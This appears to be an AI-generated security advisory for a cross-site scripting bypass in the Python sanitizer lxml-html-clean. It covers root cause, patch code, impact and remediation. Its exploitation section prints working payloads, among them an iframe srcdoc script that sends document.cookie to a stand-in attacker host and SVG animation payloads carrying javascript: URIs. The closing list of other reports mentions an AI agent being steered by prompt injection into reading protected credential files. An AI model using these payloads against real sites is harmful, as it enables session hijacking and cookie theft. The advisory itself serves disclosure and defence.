CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-141556

CVE-2026-141556: Cross-Site Scripting Bypass via iframe srcdoc and SVG Animation Attributes in lxml-html-clean

Amit Schendel
Amit Schendel
Senior Security Researcher

Dec 3, 2026·11 min read·7 visits

Executive Summary (TL;DR)

An incomplete attribute allowlist in lxml-html-clean <= 0.4.6 allows attackers to bypass HTML sanitization when safe_attrs_only=False is enabled. By leveraging the iframe srcdoc attribute (when host_whitelist permits iframes) or SVG SMIL animation attributes (when remove_unknown_tags=False permits SVG tags), an attacker can achieve zero-click or one-click Cross-Site Scripting (XSS). Users should upgrade to lxml-html-clean version 0.4.7.

CVE-2026-141556 (GHSA-5gvf-7wqf-r4cv) is an input sanitization bypass vulnerability resulting in Cross-Site Scripting (XSS) in lxml-html-clean versions through 0.4.6. When the Cleaner class is initialized with safe_attrs_only=False and javascript=True, the link sanitization mechanism relies exclusively on lxml.html.defs.link_attrs via doc.rewrite_links(). Because this attribute list omits the iframe srcdoc attribute and SVG SMIL animation value attributes (to, from, by, values), attackers can inject arbitrary HTML and JavaScript payloads that survive sanitization.

Vulnerability Overview

lxml-html-clean is a standalone Python library extracted from the lxml.html.clean module to provide configurable HTML sanitization for web applications processing untrusted markup. Developers integrate the Cleaner class into content management platforms, webmail clients, and document rendering pipelines to strip executable scripts while preserving structural formatting. The engine operates by parsing raw HTML strings into an lxml.etree document object model (DOM) and selectively removing dangerous elements, event handlers, and pseudo-protocol URIs.

By default, Cleaner enforces a strict attribute allowlist governed by the safe_attrs_only=True configuration option, which drops any attribute not explicitly listed in lxml.html.defs.safe_attrs. However, applications requiring custom HTML5 data attributes, rich media integration, or inline SVG rendering frequently disable this restriction by configuring safe_attrs_only=False. When operating in this mode with javascript=True (the default setting), Cleaner transitions from an attribute allowlist model to a blocklist model, attempting to identify and neutralize script-bearing attributes individually.

In lxml-html-clean versions 0.1.0 through 0.4.6, this blocklist mechanism fails to inspect two distinct script execution vectors: the HTML5 srcdoc attribute on <iframe> elements, and the SMIL (Synchronized Multimedia Integration Language) animation value attributes (to, from, by, and values) on SVG animation elements (<set>, <animate>, and <animateTransform>). This oversight is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-184 (Incomplete List of Disallowed Inputs).

When an application permits <iframe> tags via the host_whitelist parameter alongside safe_attrs_only=False, an attacker can supply a valid whitelisted src URL paired with a malicious srcdoc attribute to achieve zero-click Cross-Site Scripting (XSS). Similarly, when an application permits SVG elements via remove_unknown_tags=False alongside safe_attrs_only=False, an attacker can use SVG animation tags to dynamically overwrite the href attribute of an enclosing <a> tag at runtime with a javascript: URI, resulting in one-click XSS upon user interaction.

Root Cause Analysis

The root cause of CVE-2026-141556 lies in how Cleaner.__call__ delegates URI and attribute sanitization when javascript=True and safe_attrs_only=False are active. After stripping inline event handler attributes that match the on* prefix, the sanitizer invokes doc.rewrite_links(self._remove_javascript_link, resolve_base_href=False). The rewrite_links() method iterates over the parsed DOM tree, but it restricts its inspection exclusively to attributes defined within the static set lxml.html.defs.link_attrs.

The lxml.html.defs.link_attrs collection contains standard HTML4 and early HTML5 navigational and resource-loading attributes such as href, src, action, cite, and background. Any attribute omitted from link_attrs is invisible to self._remove_javascript_link. Consequently, when safe_attrs_only=False prevents unknown attributes from being discarded during the initial pass, any script-bearing attribute outside of link_attrs that does not begin with on passes through the sanitization pipeline unmodified.

The first gap involves the <iframe> srcdoc attribute. Unlike src, which accepts a URL, srcdoc accepts a raw HTML document string to be rendered inside the frame. According to the WHATWG HTML specification, if an <iframe> element possesses both a src attribute and a srcdoc attribute, the browser must give precedence to srcdoc and ignore src. When Cleaner is configured with host_whitelist (for example, allowing www.youtube.com), Cleaner.allow_embedded_url() validates that the src attribute points to an approved domain and retains the <iframe>. Because srcdoc is not in defs.link_attrs, it is neither stripped nor recursively sanitized, allowing arbitrary inline <script> tags inside srcdoc to execute immediately upon page load.

The second gap involves SVG SMIL animation elements (<set>, <animate>, and <animateTransform>). In SVG documents, these elements modify the attributes of their parent or target element dynamically at runtime in the browser. By setting attributeName="href" or attributeName="xlink:href" on an animation element nested inside an SVG <a> tag, the browser replaces the anchor's link destination with the value specified in the animation's to, from, by, or values attributes. Because these four value attributes are not included in defs.link_attrs, rewrite_links() ignores them.

Furthermore, SMIL animation attributes introduce parsing complexities that defeat simple string-prefix sanitization. The values attribute accepts a semicolon-delimited list of keyframes (e.g., values="https://example.com;javascript:alert(1)"), meaning a naive scheme check at the start of the attribute string fails to detect a javascript: payload positioned in a subsequent keyframe. Additionally, WebKit and Chromium rendering engines permit <animateTransform> to mutate string attributes like href despite the specification intending it for geometric transformations, and XML/XHTML parsers allow custom namespace prefixes (such as xmlns:q="http://www.w3.org/1999/xlink" with attributeName="q:href") and mixed-case attribute names (SRCDOC, HREF) that bypass case-sensitive string comparisons.

Code Analysis

Prior to version 0.4.7, the javascript sanitization block inside Cleaner.__call__ in lxml_html_clean/clean.py handled script neutralization using a two-step process: deleting on* event attributes when safe_attrs_only was disabled, and calling doc.rewrite_links() to scrub javascript: URIs.

# Vulnerable logic in lxml_html_clean/clean.py (<= 0.4.6)
if self.javascript:
    if not (self.safe_attrs_only and
            self.safe_attrs == defs.safe_attrs):
        # safe_attrs handles event attributes itself
        for el in doc.iter(etree.Element):
            attrib = el.attrib
            for aname in list(attrib.keys()):
                if aname.startswith('on'):
                    del attrib[aname]
    doc.rewrite_links(self._remove_javascript_link,
                      resolve_base_href=False)

In commit 883db209e04222a1959f7773f5bde1da0224fbe1 (refined with documentation in commit 0d4e91e0085eff50db42376d6eb4466fc987867e), the maintainers introduced a dedicated post-processing function _remove_attrs_that_bypass_link_cleaning(doc) immediately following the doc.rewrite_links() invocation.

# Patched logic in lxml_html_clean/clean.py (0.4.7)
# Define animation tags and their value-carrying attributes in lower-case
_svg_animation_tags = frozenset(('set', 'animate', 'animatetransform'))
_svg_animation_value_attrs = frozenset(('to', 'from', 'by', 'values'))
 
 
def _local_name(name):
    """'{ns}href', 'xlink:href', 'q:HREF' -> 'href'."""
    # Strip Clark notation XML namespaces '{uri}' and prefix 'prefix:', then normalize case
    return name.rsplit('}', 1)[-1].rsplit(':', 1)[-1].lower()
 
 
def _remove_attrs_that_bypass_link_cleaning(doc):
    for el in doc.iter(etree.Element):
        attrib = el.attrib
        # 1. Unconditionally strip 'srcdoc' (case- and namespace-insensitive) from all elements
        for aname in list(attrib.keys()):
            if _local_name(aname) == 'srcdoc':
                del attrib[aname]
        
        # 2. Check if the current element is an SVG SMIL animation tag
        if _local_name(el.tag) not in _svg_animation_tags:
            continue
        
        # 3. Inspect all 'attributeName' attributes on the element to see if any target 'href'
        animates_href = any(
            _local_name(attrib[aname].strip()) == 'href'
            for aname in attrib.keys()
            if _local_name(aname) == 'attributename')
        
        # 4. If 'href' is targeted, strip all value-bearing animation attributes
        if animates_href:
            for aname in list(attrib.keys()):
                if _local_name(aname) in _svg_animation_value_attrs:
                    del attrib[aname]

The patch addresses edge cases inherent to XML and HTML hybrid parsing in lxml. By implementing _local_name(name), the fix strips both Clark notation namespace URIs ({http://www.w3.org/1999/xlink}href) and arbitrary namespace prefixes (xlink:href or q:HREF), normalizing the final identifier to lowercase. Furthermore, when checking for attributeName, the code uses any(...) across all attributes on the element rather than stopping at the first match. This prevents a bypass in XHTML trees where an element might carry two attributes that differ only in casing or namespace prefix (e.g., attributename="width" alongside attributeName="href").

Regarding fix completeness, the decision to unconditionally drop srcdoc and completely remove to, from, by, and values when attributeName resolves to href avoids the pitfalls of parsing semicolon-separated lists or nested HTML encodings. Legitimate SVG animations that animate non-link properties (such as opacity, transform, or width) are unaffected because animates_href evaluates to False. However, developers using lxml-html-clean should remain aware that running with safe_attrs_only=False and remove_unknown_tags=False inherently expands the attack surface whenever browser vendors introduce new attribute-based execution sinks not covered by defs.link_attrs or _remove_attrs_that_bypass_link_cleaning().

Exploitation

Exploitation of CVE-2026-141556 requires no authentication to the underlying system (PR:N), provided an attacker can submit HTML content that is processed by a vulnerable Cleaner configuration and subsequently rendered in a victim's browser. Depending on the target application's Cleaner parameters, the attacker can select between zero-click exploitation via <iframe> or one-click exploitation via SVG SMIL animations.

> [!NOTE] > Applications using the default Cleaner() configuration (safe_attrs_only=True and remove_unknown_tags=True) are not vulnerable to either exploitation vector, as srcdoc is not in defs.safe_attrs and SVG animation tags are stripped as unknown tags.

Vector 1: Zero-Click XSS via Whitelisted <iframe> and srcdoc

This scenario targets applications that allow users to embed external media from trusted providers (such as YouTube or Vimeo) while permitting non-standard attributes:

from lxml_html_clean import Cleaner
 
cleaner = Cleaner(
    host_whitelist=['www.youtube.com'],
    safe_attrs_only=False
)
 
payload = (
    '<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ" '
    'srcdoc="&lt;script&gt;fetch(&#39;https://attacker.example/exfil?c=&#39;+document.cookie)&lt;/script&gt;">'
    '</iframe>'
)
 
print(cleaner.clean_html(payload))

When clean_html() processes this input, Cleaner.allow_embedded_url() parses the src attribute, verifies that www.youtube.com is present in host_whitelist, and permits the <iframe> element to remain in the tree. The srcdoc attribute is ignored by rewrite_links() and survives intact in the serialized output. When a victim views the rendered page, the browser prioritizes srcdoc over src and immediately executes the embedded <script> tag within the origin context of the parent document.

Vector 2: One-Click XSS via SVG SMIL Animation Elements

This scenario targets applications that permit inline SVG drawings and custom attributes by disabling both safe_attrs_only and remove_unknown_tags:

from lxml_html_clean import Cleaner
 
cleaner = Cleaner(
    safe_attrs_only=False,
    remove_unknown_tags=False
)
 
# Sub-vector A: <animate> with semicolon-delimited values
payload_animate = """
<svg>
  <a>
    <animate attributeName="href" values="https://legit.example.com;javascript:alert(document.domain)"></animate>
    <text x="20" y="20">Download Report</text>
  </a>
</svg>
"""
 
# Sub-vector B: <set> with custom XML namespace prefix and <animateTransform> for WebKit/Chromium
payload_namespace = """
<svg xmlns="http://www.w3.org/2000/svg" xmlns:q="http://www.w3.org/1999/xlink">
  <a>
    <set attributeName="q:href" to="javascript:alert(document.cookie)"/>
    <text x="20" y="40">View Attachment</text>
  </a>
</svg>
"""

When the browser renders either SVG payload, the SMIL animation engine immediately applies the animation to the parent <a> element, overwriting its href (or xlink:href) property in the live DOM with the javascript: pseudo-protocol URI. When a victim clicks the visible <text> element inside the SVG anchor, the browser executes the injected JavaScript payload.

Impact Assessment

CVE-2026-141556 is assigned a CVSS v3.1 base score of 4.7 (Medium) with the vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N. The Attack Complexity is rated High (AC:H) because successful exploitation depends on the target application explicitly overriding the default safe_attrs_only=True setting and pairing it with either host_whitelist (to allow <iframe> elements) or remove_unknown_tags=False (to allow SVG animation elements). No privileges are required (PR:N), and the attack is delivered over the network (AV:N).

User Interaction is marked as Required (UI:R), and Scope is Changed (S:C). While the sanitization bypass occurs within the server-side Python application, the resulting payload executes within the client victim's web browser context. For the SVG SMIL animation vectors, the victim must click the rendered SVG link to trigger the javascript: URI. For the <iframe> srcdoc vector, simply viewing the page containing the sanitized markup triggers script execution without further click interaction.

Once JavaScript executes within the victim's browser session, the attacker gains low-to-moderate Confidentiality (C:L) and Integrity (I:L) impact relative to the CVSS framework, which translates in practice to full compromise of the user's web application session. Because an iframe rendered via srcdoc inherits the origin of the parent document (unless sandboxed without allow-same-origin), script running inside the srcdoc frame can access window.parent.document, read non-HttpOnly session cookies, extract CSRF tokens, read sensitive DOM content, and perform arbitrary authenticated state-changing requests on behalf of the victim.

At the time of analysis, CVE-2026-141556 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and has no recorded active exploitation in the wild. Functional Proof-of-Concept (PoC) payloads are publicly available in the upstream commit test suite (tests/test_clean.py in commit 883db209e04222a1959f7773f5bde1da0224fbe1).

Remediation

The primary remediation is to upgrade lxml-html-clean to version 0.4.7 or later, which incorporates commit 883db209e04222a1959f7773f5bde1da0224fbe1. Version 0.4.7 unconditionally strips the srcdoc attribute from all elements and removes the to, from, by, and values attributes from <set>, <animate>, and <animateTransform> elements whenever their attributeName targets href while javascript=True is active.

pip install --upgrade "lxml-html-clean>=0.4.7"

For environments where an immediate package upgrade cannot be deployed, engineering teams can apply configuration-level mitigations directly to their Cleaner instantiations. The most robust mitigation is to revert safe_attrs_only to its default value of True. If specific custom attributes are required by the application, developers should extend the default allowlist rather than disabling safe_attrs_only entirely:

from lxml.html import defs
from lxml_html_clean import Cleaner
 
# Safely extend the default attribute allowlist without disabling safe_attrs_only
custom_safe_attrs = set(defs.safe_attrs) | {'data-custom-id', 'aria-label'}
 
cleaner = Cleaner(
    safe_attrs_only=True,
    safe_attrs=custom_safe_attrs
)

If safe_attrs_only=False is strictly required due to dynamic attribute naming (such as arbitrary data-* attributes), administrators should configure kill_tags or remove_tags on the Cleaner instance to explicitly forbid <iframe> and SVG animation elements, or ensure remove_unknown_tags=True is enforced to block SVG SMIL elements:

from lxml_html_clean import Cleaner
 
# Workaround when safe_attrs_only=False cannot be avoided on <= 0.4.6
cleaner = Cleaner(
    safe_attrs_only=False,
    remove_tags=['set', 'animate', 'animatetransform'],
    kill_tags=['iframe']
)

Finally, security teams should deploy a strict Content Security Policy (CSP) header on all web responses that render user-supplied HTML. Disallowing unsafe-inline in script-src prevents both inline <script> execution inside srcdoc iframes and javascript: URI execution on animated SVG anchor tags.

Official Patches

fedora-pythonGitHub Security Advisory GHSA-5gvf-7wqf-r4cv
fedora-pythonlxml-html-clean 0.4.7 Release Notes
fedora-pythonDirect Patch File for Commit 883db209e04222a1959f7773f5bde1da0224fbe1

Fix Analysis (2)

Technical Appendix

CVSS Score
4.7/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

lxml-html-clean (PyPI package lxml_html_clean) <= 0.4.6

Affected Versions Detail

Product
Affected Versions
Fixed Version
lxml-html-clean
fedora-python
<= 0.4.60.4.7
AttributeDetail
CVE / Advisory IDCVE-2026-141556 / GHSA-5gvf-7wqf-r4cv
Vulnerability ClassCWE-79 (Cross-Site Scripting) / CWE-184 (Incomplete List of Disallowed Inputs)
Affected Componentlxml-html-clean (<= 0.4.6)
Patched Version0.4.7
CVSS v3.1 Score4.7 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N)
Required Configurationsafe_attrs_only=False (paired with host_whitelist or remove_unknown_tags=False)
Exploit StatusProof-of-Concept (Unit test payloads in upstream repository)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users, specifically stemming from an incomplete list of disallowed inputs (CWE-184).

Known Exploits & Detection

GitHubUpstream fix commit containing functional unit test cases (PoCs) demonstrating iframe srcdoc and SVG animation XSS bypasses.

Vulnerability Timeline

Fix commit 883db209e04222a1959f7773f5bde1da0224fbe1 authored to drop srcdoc and SVG animation link values.
2026-11-23
Documentation clarification commit 0d4e91e0085eff50db42376d6eb4466fc987867e merged.
2026-11-26
lxml-html-clean version 0.4.7 released on GitHub and PyPI.
2026-12-02
CVE-2026-141556 and GitHub Security Advisory GHSA-5gvf-7wqf-r4cv officially published.
2026-12-02

References & Sources

  • [1]GitHub Security Advisory GHSA-5gvf-7wqf-r4cv
  • [2]Fix Commit: drop srcdoc and SVG animation link values when cleaning javascript
  • [3]Documentation Commit: clarify _remove_attrs_that_bypass_link_cleaning docstring
  • [4]lxml-html-clean 0.4.7 Release Tag
  • [5]National Vulnerability Database (NVD) Entry for CVE-2026-141556
  • [6]CVE.org Record for CVE-2026-141556
  • [7]CVEProject cvelistV5 JSON Record for CVE-2026-141556

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-141555
4.7

CVE-2026-141555: Cross-Site Scripting via Raw-Text Comment Breakout in lxml-html-clean

CVE-2026-141555 (GHSA-vfhw-gfwp-vxfj) is a Cross-Site Scripting (XSS) vulnerability in the Python HTML sanitization library lxml-html-clean prior to version 0.4.7. The vulnerability stems from a parser differential between libxml2 and HTML5 browser parsing engines when handling HTML comments nested within raw-text and escapable raw-text elements (such as <noscript>, <textarea>, <title>, and <iframe>). When the cleaner is instantiated with the non-default configuration comments=False, an attacker can embed a closing tag inside an HTML comment to prematurely terminate the raw-text container in the client browser and execute arbitrary JavaScript.

Alon Barad
Alon Barad
3 views•10 min read
•about 3 hours ago•CVE-2026-140000
7.5

CVE-2026-140000: Memory Exhaustion via Buffer Slicing in websocket-driver StreamReader

CVE-2026-140000 (also tracked as GHSA-j7r2-xppq-m353) is an uncontrolled resource consumption vulnerability in the faye/websocket-driver-node package prior to version 0.8.2. The StreamReader.read() implementation relies on Buffer.slice() when extracting small segments from incoming network buffers. Because Node.js Buffer slices share underlying memory with their parent ArrayBuffer, small fragmented WebSocket frames retain references to entire 16 KiB to 64 KiB TCP read buffers. An unauthenticated remote attacker can transmit a sequence of incomplete fragmented frames to prevent garbage collection of the parent TCP buffers, causing severe memory inflation and a denial of service via out-of-memory process termination.

Amit Schendel
Amit Schendel
8 views•12 min read
•about 4 hours ago•CVE-2026-135390
7.4

CVE-2026-135390: Authentication Bypass via Cross-Role Session Resumption in Pion DTLS

CVE-2026-135390 is an authentication bypass vulnerability in the Pion DTLS Go library caused by improper validation of cached DTLS 1.2 sessions. When an application shares a single SessionStore across both outbound client connections and inbound server listeners, a remote server previously contacted by the application's client can reuse the negotiated session identifier and master secret to authenticate against the application's server listener via abbreviated session resumption, bypassing mutual TLS and Pre-Shared Key checks.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-77132
5.3

CVE-2026-77132: Missing Authorization and Information Disclosure in TYPO3 CMS Backend Localization Wizard

CVE-2026-77132 is an authorization bypass and information disclosure vulnerability in the TYPO3 CMS backend localization wizard (ext:backend). Multiple backend AJAX endpoints failed to validate page-level and record-level access permissions before processing requests. As a result, authenticated backend users with restricted privileges can query these routes directly to enumerate sensitive metadata, record titles, unique identifiers, and layout structures across unauthorized sections of the page tree.

Alon Barad
Alon Barad
6 views•10 min read
•about 6 hours ago•CVE-2026-141554
3.1

CVE-2026-141554: SandboxShellTool Ignore Filter Bypass via Recursive Directory Readers in AG2

CVE-2026-141554 (GHSA-xhqj-2fcc-8vf7) is an incorrect authorization vulnerability (CWE-863) in AG2 (formerly AutoGen), an open-source AgentOS framework for multi-agent AI systems. In versions from 0.13.3 prior to 1.3.4, the SandboxShellTool component configured with readonly=True and an ignore pattern list fails to prevent recursive search and comparison utilities (grep, egrep, fgrep, and diff) from accessing and disclosing restricted files. Because the command-line security filter only inspects explicit path tokens passed as arguments rather than files discovered autonomously during directory traversal, an AI agent processing untrusted input or prompt injections can be induced to read and expose protected files such as .env configurations, cryptographic keys, and credentials.

Amit Schendel
Amit Schendel
9 views•13 min read
•about 7 hours ago•CVE-2026-135391
6.9

CVE-2026-135391: Uncontrolled Resource Consumption via Oversized Peer RSA Keys in Pion DTLS

Pion DTLS versions from 2.0.0 prior to 3.1.13 and 4.0.0-rc.6 fail to enforce an upper bound on the modulus bit length of peer RSA public keys during handshake signature and certificate chain verification. Because RSA verification performs modular exponentiation whose computational complexity grows superlinearly with modulus size, a remote unauthenticated peer can transmit a synthetic certificate containing an arbitrary multi-thousand-bit RSA modulus and an invalid signature to trigger CPU exhaustion.

Alon Barad
Alon Barad
6 views•10 min read